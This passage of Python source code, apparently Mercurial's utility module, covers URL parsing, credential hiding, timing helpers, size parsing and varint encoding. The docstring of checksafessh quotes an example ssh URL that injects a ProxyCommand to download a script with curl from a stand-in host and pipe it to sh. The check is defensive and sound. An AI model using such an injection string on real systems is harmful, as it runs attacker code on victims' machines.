 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = b"!~*'()+"
     _safepchars = b"/!~*'()+:\\"
     _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = b''
         self._origpath = path
 
         if parsefragment and b'#' in path:
             path, self.fragment = path.split(b'#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith(b'\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith(b'bundle:'):
             self.scheme = b'bundle'
             path = path[7:]
             if path.startswith(b'//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(b':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = b''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and b'?' in path:
                 path, self.query = path.split(b'?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith(b'//'):
                 parts = path[2:].split(b'/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if isinstance(map, dict) and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         elif skip is not None:
             raise error.ProgrammingError(
                 b"skip character is only supported " b"with a dict source"
             )
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 if rustdirs is not None:
     dirs = rustdirs
 
 
 def finddirs(path):
     pos = path.rfind(b'/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind(b'/', 0, pos)
     yield b''
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly" b" (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7